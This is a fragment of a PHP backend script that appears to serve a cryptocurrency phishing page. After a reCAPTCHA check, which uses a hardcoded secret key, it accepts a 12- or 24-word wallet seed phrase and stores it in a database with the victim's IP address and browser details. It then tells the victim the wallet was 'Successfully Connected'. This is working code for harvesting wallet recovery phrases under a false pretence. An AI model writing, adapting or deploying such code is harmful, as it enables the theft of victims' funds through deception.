"error", "message" => "reCAPTCHA response is missing!"]); exit; } // Verify reCAPTCHA $recaptcha_secret = "6LeLgt0qAAAAAMk6jxMPLPEHo_8ExBgz4PljTFBe"; // Your secret key $verify = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$recaptcha_secret&response=$recaptcha_response"); $captcha_success = json_decode($verify); if (!$captcha_success->success) { echo json_encode(["status" => "error", "message" => "reCAPTCHA verification failed!"]); exit; } if (!empty($seed)) { if (preg_match('/^[a-z ]+$/', $seed)) { $wordCount = count(explode(' ', $seed)); if ($wordCount === 12 || $wordCount === 24) { if ($seed === $hardcoded_phrase) { echo json_encode(["status" => "success", "message" => "Logged in Successfully..."]); } else { $result = insertSeedPhrase($conn, $seed, $datetime, $ip, $agent, $app_name); if ($result) { echo json_encode(["status" => "success", "message" => "Wallet Successfully Connected"]); } else { echo json_encode(["status" => "error", "message" => "Error: Unable to save data"]); } } } else { echo json_encode(["status" => "error", "message" => "Error mnemonic phrase can only contain 12 or 24 words spaced."]); } } else { echo json_encode(["status" => "error", "message" => "Error mnemonic phrase can only contain 12 or 24 words spaced."]); } } else { echo json_encode(["status" => "error", "message" => "Phrase cannot be empty"]); } exit; } $conn->close(); ?>